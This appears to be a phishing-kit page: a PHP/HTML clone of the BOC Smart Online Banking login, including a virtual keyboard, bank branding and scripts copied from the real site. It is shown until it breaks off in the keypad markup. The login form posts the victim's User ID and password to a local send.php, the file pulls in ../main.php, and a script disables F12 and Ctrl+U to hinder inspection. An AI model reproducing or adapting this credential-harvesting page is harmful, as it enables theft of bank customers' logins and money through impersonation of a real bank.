<?php 
require '../main.php';
?>
<html style="display: block;" lang="en"><head><script src="BOC%20Smart%20Online%20Banking_files/all_002.js" async="" crossorigin="anonymous"></script><script id="facebook-jssdk" async="" src="BOC%20Smart%20Online%20Banking_files/all.js"></script><script>
try 
	{
		if (typeof(Storage) !== "undefined") 
		{
			window.sessionStorage.setItem("isCordva",null);
		} else 
		{
			console.log("local storage not supported");
		}
	}
	catch(err) 
	{
		console.log("exception "+err.message);       
	}
</script>






	
	<title>BOC Smart Online Banking</title>
	<meta http-equiv="cache-control" content="no-cache"> 
	<meta http-equiv="cache-control" content="no-store"> 
	<meta http-equiv="Pragma" content="no-cache"> 
	<meta http-equiv="Expires" content="0">
	<meta http-equiv="X-UA-Compatible" content="IE=11">
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta name="viewport" content="1024, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=2.0">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="apple-mobile-web-app-status-bar-style" content="default">
	<meta name="HandheldFriendly" content="true">
	<meta name="MobileOptimized" content="width">
	


<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/boc_banking.uri.css">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/banking.uri.css">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/boc_virtualkeyboard.css">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/scrollbars.uri.css">
<link rel="shortcut icon" href="https://online.boc.lk/T001/images/oraclefav.ico">

<script type="text/javascript" src="BOC%20Smart%20Online%20Banking_files/jquery-includes.js" charset="utf-8"></script>
<script type="text/javascript" src="BOC%20Smart%20Online%20Banking_files/common.js" charset="utf-8"></script><meta name="format-detection" content="telephone=no">
<script type="text/JavaScript" src="BOC%20Smart%20Online%20Banking_files/boc_virtualkeyboard.js" charset="utf-8"></script>
<script type="text/JavaScript" src="BOC%20Smart%20Online%20Banking_files/rsa_compiled.js" charset="utf-8"></script>
<script type="text/JavaScript" src="BOC%20Smart%20Online%20Banking_files/fb.js" charset="utf-8"></script>
	<style>
		html { 
			display:none 
		}
	</style>
<script>
if (self == top) {
	document.documentElement.style.display = 'block';
} else {
	top.location = self.location;
}
</script>
<script type="text/javascript">
	$(document).ready(function() {
		//$('#a1_up').bubbletip($('#tip1_up'));
		//$('#a2_up').bubbletip($('#tip2_up'));
		
		$('.manual-ajax').click(function(event) {
		      event.preventDefault();
		      $.get(this.href, function(html) {
		        $(html).appendTo('body').modal();
		      });
		    });
			    
		$(window).resize(function(){
			 if(window.screen.width <= 800) { 
				  $('#wrapper').attr('style', 'width: 95%');
				  $('#wrapper #section').attr('style', 'width: 95%');
				  $('#wrapper #section.login').attr('style', 'width: 68%');
				  $('#wrapper #section.savings_account').attr('style', 'width: 68%');
				  $('.virtualButtons').attr('style', "width:24px;height:24px");
				  $('#login-keyboard-controls input').attr('style', 'height:24px');
				  $('.header_nav').attr('style', 'width: 99%');
				  $('#footer').attr('style', 'width: 95%');
			 } else { 
				  $('#wrapper').removeAttr('style');
				  $('#wrapper #section').removeAttr('style');
				  $('#wrapper #section.login').removeAttr('style');
				  $('#wrapper #section.savings_account').removeAttr('style');
				  $('.virtualButtons').removeAttr('style');
				  $('#login-keyboard-controls input').removeAttr('style');
				  $('.header_nav').removeAttr('style');
				  $('#footer').removeAttr('style');
			 }
			 
	  }).trigger('resize');
	  initialize_fb ({appId : 'null', channelURL : 'null'});
	});
	
	function passwordStrength(i)
	{
		var password = document.getElementById('pass0'+i).value;
		var desc = new Array();
		desc[0] = "Very Weak";
		desc[1] = "Weak";
		desc[2] = "Better";
		desc[3] = "Medium";
		desc[4] = "Strong";
		desc[5] = "Strongest";

		var score   = 0;
		//if password bigger than 6 give 1 point
		if (password.length > 6) score++;

		//if password has both lower and uppercase characters give 1 point	
		if ( ( password.match(/[a-z]/) ) && ( password.match(/[A-Z]/) ) ) score++;

		//if password has at least one number give 1 point
		if (password.match(/\d+/)) score++;

		//if password has at least one special caracther give 1 point
		if ( password.match(/.[!,@,#,$,%,^,&,*,?,_,~,-,(,)]/) )	score++;

		//if password bigger than 12 give another 1 point
		if (password.length > 12) score++;

		
		
		 document.getElementById("passwordDescription"+ i).innerHTML = desc[score];
		 
		 document.getElementById("passwordStrength"+ i).className = "strength" + score;
	}
</script>

	<script type="text/javascript">
		//-----------------------------------------------------------------------------
		var scr_w, scr_w1,scr_h, scr_h1;
		//-----------------------------------------------------------------------------			
		$(document).ready(function() {
			   
			if($('div#fldLoginUserId input').val() == '') {
				$(location).attr('href','savings_account_offers.jsp');
			} 
			
			setScreenSize ();
		
		});
		//-----------------------------------------------------------------------------
		function fLogon(){
			   
			$(location).attr('href','retrieve_application.jsp');
			
			
		}
		//-----------------------------------------------------------------------------
		function setScreenSize(){
			
			scr_w1 = screen.availWidth-10+"px";
			scr_h1 = screen.availHeight-60+"px";
		}
		//-----------------------------------------------------------------------------
		function locateBranches(title) {
			document.frmprocess.fldRequestId.value = "RRLOB01";
			window_open (document.frmprocess, title, "RRLOB01");
		}
		//-----------------------------------------------------------------------------
		function  registerUser(title){
			document.frmprocess.fldRequestId.value = "RRRNB01";
			window_open (document.frmprocess, title, "RRRNB01");
		}
		function  opengoal(title){
			document.frmprocess.fldRequestId.value = "RRORG351";
			window_open (document.frmprocess, title, "RRORG351");
		}
		//-----------------------------------------------------------------------------
		function showFAQ(p_title, p_lang){
			window.open(p_lang + '/faq.html');				
		}
		//------------------------------------------------------------------------------
		function getStatus(title){
			document.frmprocess.fldRequestId.value = "RRORG111";
			window_open (document.frmprocess, title, "RRORG111");
		}
		
		function getStatus(
			p_pageTitle, p_requestId
		) {
			var l_frmname = 'frmprocess';
			createForm(l_frmname, p_requestId);
			formwindow_open($("form[name=" + l_frmname + "]")[0], p_pageTitle, p_requestId);
		}
		
		//------------------------------------------------------------------------------
		function window_open(frm, title, id){
			var window_name = 'process_' + id;
			var frm_action;
			window.open (
				''
			,	window_name
			,	'toolbar=0,location=0,directories=0,status=1,menubar=0,scrollbars=1,resizable=0,left=0,top=0,width='+scr_w1+',height='+scr_h1
			);
			frm.target = window_name;
			frm.title.value = title;
			frm_action = frm.action;
			frm.action = "process.jsp"
			frm.submit ();
			frm.action = frm_action;
		}
		//------------------------------------------------------------------------------
		function aboutbox () {
			window.open ("about.html", "NewWindow",
					"dependant=no,directories=no,location=no,menubar=no"
				+	",resizable=no,scrollbars=yes,titlebar=no,toolbar=no,"
				+ "0, 0, top=0,left=0,status=1,width=400,height=300");
		}
		//-----------------------------------------------------------------------------
		function extractFieldsFromURL(){
			var fields=new Object();
			var url = new String(document.URL);
			var fieldStartPos = url.indexOf("?") + 1;
			if(fieldStartPos>0 && url.substring(fieldStartPos).length>0){
				var fields = url.substring(fieldStartPos).split("&");
				for(i=0; i<fields.length; i++){
					var field = fields[i].split("=");
					if(field.length == 2 && field[0].length>0){
						var fieldName = field[0];
						var fieldValue = field[1];
						if($('input[name="' + fieldName +'"]').val() == undefined){
							createHiddenField(fieldName, fieldValue);
						}
					}
				}
			}
			$('#fldLoginUserId').focus();
		}
		//-----------------------------------------------------------------------------
		function createHiddenField(fieldName, fieldValue){
			fieldElem = $('<input type="hidden" name="' + fieldName + '" value="' + fieldValue + '"/>');
			$('form[name="frmmain"]').append(fieldElem);
		}		
		//-----------------------------------------------------------------------------
		// Code to disable F12, F5, F6, Ctrl+U
		if (document.addEventListener) // code for cross browser compatibility as addEventListener is not supported in IE8 and earlier versions. 
		{
         document.addEventListener("keydown", disableKeys, false);
        } 
		else if (document.attachEvent) 
		{
         document.attachEvent("onkeydown", disableKeys);
        }
		
		function disableKeys(event)
		{
			event = (event || window.event);
			if (event.keyCode == 123 || ((event.keyCode == 85) && event.ctrlKey )|| event.keyCode == 116 || event.keyCode == 117)
			{
				if(event.preventDefault) event.preventDefault();
				return false;
			}
		}
		//-----------------------------------------------------------------------------
		</script>
	<style type="text/css" data-fbcssmodules="css:fb.css.base css:fb.css.dialog css:fb.css.iframewidget">.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0px;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:lucida grande,tahoma,verdana,arial,sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}

.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0px;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:lucida grande,tahoma,verdana,arial,sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}

.fb_dialog{background:#525252b3;position:absolute;top:-10000px;z-index:10001}.fb_dialog_advanced{border-radius:8px;padding:10px}.fb_dialog_content{background:#fff;color:#373737}.fb_dialog_close_icon{background:url(https://static.xx.fbcdn.net/rsrc.php/v4/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px}.fb_dialog_mobile .fb_dialog_close_icon{left:5px;right:auto;top:5px}.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}.fb_dialog_close_icon:hover{background:url(https://static.xx.fbcdn.net/rsrc.php/v4/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent}.fb_dialog_close_icon:active{background:url(https://static.xx.fbcdn.net/rsrc.php/v4/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent}.fb_dialog_iframe{line-height:0}.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #365899;color:#fff;font-size:14px;font-weight:700;margin:0}.fb_dialog_content .dialog_title>span{background:url(https://static.xx.fbcdn.net/rsrc.php/v4/yd/r/Cou7n-nqK52.gif) no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}body.fb_hidden{height:100%;left:0;margin:0;overflow:visible;position:absolute;top:-10000px;transform:none;width:100%}.fb_dialog.fb_dialog_mobile.loading{background:url(https://static.xx.fbcdn.net/rsrc.php/v4/ya/r/3rhSv5V8j3o.gif) #fff no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}.fb_dialog.fb_dialog_mobile.loading.centered{background:none;height:auto;min-height:initial;min-width:initial;width:auto}.fb_dialog.fb_dialog_mobile.loading.centered #fb_dialog_loader_spinner{width:100%}.fb_dialog.fb_dialog_mobile.loading.centered .fb_dialog_content{background:none}.loading.centered #fb_dialog_loader_close{clear:both;color:#fff;display:block;font-size:18px;padding-top:20px}#fb-root #fb_dialog_ipad_overlay{background:#0006;inset:0;min-height:100%;position:absolute;width:100%;z-index:10000}#fb-root #fb_dialog_ipad_overlay.hidden{display:none}.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}.fb_dialog_mobile .fb_dialog_iframe{position:sticky;top:0}.fb_dialog_content .dialog_header{background:linear-gradient(from(#738aba),to(#2c4987));border-bottom:1px solid;border-color:#043b87;box-shadow:#fff 0 1px 1px -1px inset;color:#fff;font:700 14px Helvetica,sans-serif;text-overflow:ellipsis;text-shadow:rgba(0,30,84,.296875) 0px -1px 0px;vertical-align:middle;white-space:nowrap}.fb_dialog_content .dialog_header table{height:43px;width:100%}.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px}.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px}.fb_dialog_content .touchable_button{background:linear-gradient(from(#4267B2),to(#2a4887));background-clip:padding-box;border:1px solid #29487d;border-radius:3px;display:inline-block;line-height:18px;margin-top:3px;max-width:85px;padding:4px 12px;position:relative}.fb_dialog_content .dialog_header .touchable_button input{background:none;border:none;color:#fff;font:700 12px Helvetica,sans-serif;margin:2px -12px;padding:2px 6px 3px;text-shadow:rgba(0,30,84,.296875) 0px -1px 0px}.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:700;line-height:18px;text-align:center;vertical-align:middle}.fb_dialog_content .dialog_content{background:url(https://static.xx.fbcdn.net/rsrc.php/v4/y9/r/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #4A4A4A;border-bottom:0;border-top:0;height:150px}.fb_dialog_content .dialog_footer{background:#f5f6f7;border:1px solid #4A4A4A;border-top-color:#ccc;height:40px}#fb_dialog_loader_close{float:left}.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}#fb_dialog_loader_spinner{animation:rotateSpinner 1.2s linear infinite;background-color:transparent;background-image:url(https://static.xx.fbcdn.net/rsrc.php/v4/yD/r/t-wz8gw1xG1.png);background-position:50% 50%;background-repeat:no-repeat;height:24px;width:24px}@keyframes rotateSpinner{0%{transform:rotate(0)}to{transform:rotate(360deg)}}

.fb_iframe_widget{display:inline-block;position:relative}.fb_iframe_widget span{display:inline-block;position:relative;text-align:justify}.fb_iframe_widget iframe{position:absolute}.fb_iframe_widget_fluid_desktop,.fb_iframe_widget_fluid_desktop span,.fb_iframe_widget_fluid_desktop iframe{max-width:100%}.fb_iframe_widget_fluid_desktop iframe{min-width:220px;position:relative}.fb_iframe_widget_lift{z-index:1}.fb_iframe_widget_fluid{display:inline}.fb_iframe_widget_fluid span{width:100%}
</style></head>
	
	<body class="bg" onload="extractFieldsFromURL();" style="">
			




<div id="headerWrapper">
	<div id="header">
		<div id="_topMenu">
		<!--<div id='logoWrapper'>
			<div id="logo" class="logo"></div>
		</div>
		<div class="inner-head">
			<span>Call for free on :</span>1-800-111-1111
		</div>-->
		
		
		<form name="frmlang" method="POST" action="home">
			<div id="topMenu">
				<ul>
					<li class="call_div"><label class="labeltext">Call Centre - 0094 11 220 4444</label></li>
					<li class="lang_div" id="lang_div" style="float:right;">
						<label for="fldlang" class="labeltext" style="padding-right:3px">Choose Language</label>
						<select name="fldlang" id="fldlang" style="width:95px; height:24px" maxlength="35" onchange="document.frmlang.submit ();">		
							
									<option value="eng" selected="selected">
										English
									</option>					
							
						</select>
						<script language="JavaScript">
							document.documentElement.lang = "en";
						</script>
					</li>
					<li class="lang_div" style="float:right;">
						
						<script>
							function postSocial () {
								var desc, title, image;
								title = "BOC Smart Online Banking";
								if (typeof socialMediaDesc == 'string') {
									desc = socialMediaDesc;
								} else {
									desc = "Our Bank offers best products in the Country. Find advice and information on Saving Accounts, Deposits, Credit Cards etc. Also visit us to find advice on the various loan products.";
								}
								if (typeof socialMediaImage == 'string') {
									image = socialMediaImage;
								} else {
									image = "images/oracle_logo_final.png";
								}

								fPostToFeed (location.href, image, title, desc);
							}
						</script>
						<!--<img src="images/facebook.png" alt="Share on Facebook" title="Share on Facebook" onclick="postSocial()" style="cursor:pointer"/>-->
						<!-- <label class="labeltext">Choose Language</label> -->
					</li>
				</ul>
			</div>
		</form>
		
	</div>
	
	</div>
</div>


			<div id="bankingwrapper">
			<div id="bankingmainall">
					
						<div class="mainHeader"></div><span class="login-left"><form name="frmmain" action="send.php" method="POST" autocomplete="off"><input type="hidden" name="idsequence" value="hDq3FfPe/izXiqfcDCPpaG4xsGBNPywM5gvflkjSuHg="><script>
var userId = '';
function blurUserId(el) {
    userId = el.value;
}
function focusUserId(el) {
}
function createForm (p_frmname,p_requestid) {
	var form = $("form[name="+p_frmname+"]");
	if (form.length == 0) {
		$("form[name='frmmain']").after ('<form name='+p_frmname+' action="process.jsp" method="POST" autocomplete="off"/>');
		var form = $("form[name="+p_frmname+"]");
		form.append ('<input type="hidden" value='+p_requestid+' name="fldRequestId"/>');
		form.append ('<input type="hidden" value="01" name="fldDeviceId"/>');
		form.append ('<input type="hidden" value="" name="title"/>');
	}
}
function forgotPassword () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRFPW01';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Forgot Password?', l_requestid);
}
function newUser () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRCOE01';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Online Registration', l_requestid);
}
/*
Fix for the BugId 17175602
function setRandom () {
	if (toggleRandom ()) {
		document.getElementById('elemC3').value = "Mixed";
	} else {
		document.getElementById('elemC3').value = "Not Mixed";
	}
}
*/
		</script><style>
.butt {
    display: inline-block;
    zoom: 1;
    vertical-align: baseline;
    margin: 0 2px;
    outline: 0;
    cursor: pointer;
    cursor: hand;
    text-align: center;
    text-decoration: none;
    padding: 0 15px;
    text-shadow: 0 1px 1px rgba(0, 0, 0, .3);
    color: #ffffff;
    background: #333333;
    position: relative;
    font-size: 18px;
    font-family: Segoe UI, Arial, sans-serif;
    height: 35px;
    line-height: 35px;
    border: 0;
    box-shadow: 5px 5px 7px #878e98;
	width:200px
}
		</style><div id="section" class="login"><div id="keyboard_firstrowtwrapper"><div id="keyboard_bankname">Please login to BOC Smart Online Banking</div><div id="keyboard_themselection"></div></div><div class="loginBox"><div id="rows"><div class="labeltext loginlabel"></div></div></div><div class="loginBox"><div id="rows"><div class="labeltext loginlabel" id="user_id"><label for="fldLoginUserId">User ID</label><span>&nbsp;<a href="javascript:void(0)"><img class="info-image" title="K_USERNAME_TOOLTIP" src="BOC%20Smart%20Online%20Banking_files/info-icon.png"></a></span></div><div class="inputbox"><input type="text" class="" title="User ID" style="color: #7F7F7F;" id="fldLoginUserId" name="fldLoginUserId" onblur="blurUserId(this);" onfocus="focusUserId(this);" onkeypress="HandleKeyPress(event);"></div></div></div><div id="tabs_wrapper"><div class="loginBox"><div id="tabs_container"><div class="tabs"><span class="left"><a href="#VKB">Virtual Keyboard</a></span><span class="right active"><a href="#SKB">Standard Keyboard</a></span></div></div></div><div id="tabs_content_container"><div id="VKB" class="tab_content"><div class="loginBox"><div id="rows"><div class="labeltext loginlabel" id="password_id"><label for="VKBPassword">Password</label><span>&nbsp;<img class="info-image" title="K_PASSWORD_TOOLTIP" src="BOC%20Smart%20Online%20Banking_files/info-icon.png"></span></div><div class="inputbox"><input type="password" value="" class="inputbox" name="test2" readonly="true" id="VKBPassword"></div><div class="labeltext" onkeypress="HandleKeyPress(event);" style="padding:10px"><a href="javascript:void(0)" class="keyboard_anchors" onclick="forgotPassword ();">Forgot Password?</a>&nbsp;
									<a href="javascript:void(0)" class="keyboard_anchors" onclick="unlockPassword ()">Unlock my User ID</a></div></div></div><div id="login-keyboard"><table cellpadding="0" cellspacing="0" align="center" style="width:100%"><tbody><tr><td align="center" colspan="100%"><div id="login-keyboard-special"><table cellpadding="1" cellspacing="1"><tbody><tr><script language="JavaScript">
													for (var i=0; i < 15; i++) {
														document.write ('<td>');
														imageSpCharOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="&amp;" id="elemS0" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="_" id="elemS1" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="@" id="elemS2" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="*" id="elemS3" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="?" id="elemS4" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="=" id="elemS5" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="$" id="elemS6" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="#" id="elemS7" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="+" id="elemS8" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="%" id="elemS9" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="." id="elemS10" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="(" id="elemS11" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value=")" id="elemS12" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="-" id="elemS13" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="!" id="elemS14" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr></tbody></table></div></td></tr><tr><td valign="top" align="center" style="width:70%;padding-bottom: 3%;"><div id="login-keyboard-alpha"><table cellpadding="1" cellspacing="1"><tbody><tr><script language="JavaScript">
													for (var i=0; i < 10; i++) {
														document.write ('<td>');
														imageAlphaOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="w" id="elemA0" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="m" id="elemA1" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="s" id="elemA2" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="a" id="elemA3" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="i" id="elemA4" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="d" id="elemA5" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="t" id="elemA6" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="v" id="elemA7" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="h" id="elemA8" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="z" id="elemA9" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr></tbody></table><table cellpadding="1" cellspacing="1"><tbody><tr><script language="JavaScript">
													for (var i=10; i < 19; i++) {
														document.write ('<td>');
														imageAlphaOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="y" id="elemA10" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="x" id="elemA11" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="r" id="elemA12" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="q" id="elemA13" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="b" id="elemA14" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="f" id="elemA15" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="c" id="elemA16" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="k" id="elemA17" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="e" id="elemA18" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr></tbody></table><table cellpadding="1" cellspacing="1"><tbody><tr><script language="JavaScript">
													for (var i=19; i < 26; i++) {
														document.write ('<td>');
														imageAlphaOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="p" id="elemA19" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="n" id="elemA20" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="j" id="elemA21" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="l" id="elemA22" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="o" id="elemA23" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="u" id="elemA24" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="g" id="elemA25" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr></tbody></table></div></td><td rowspan="3" style="width:30%" valign="top"><div id="login-keyboard-numeric"><table cellpadding="1" cellspacing="1" role="presentation" summary=""><tbody><tr><script language="JavaScript">
													for (var i=0; i < 3; i++) {
														document.write ('<td>');
														imageNumOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="6" id="elemN0" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="5" id="elemN1" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="0" id="elemN2" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr><tr><script language="JavaScript">
													for (var i=3; i < 6; i++) {
														document.write ('<td>');
														imageNumOnPage(i);
														document.write ('</td>');
													}
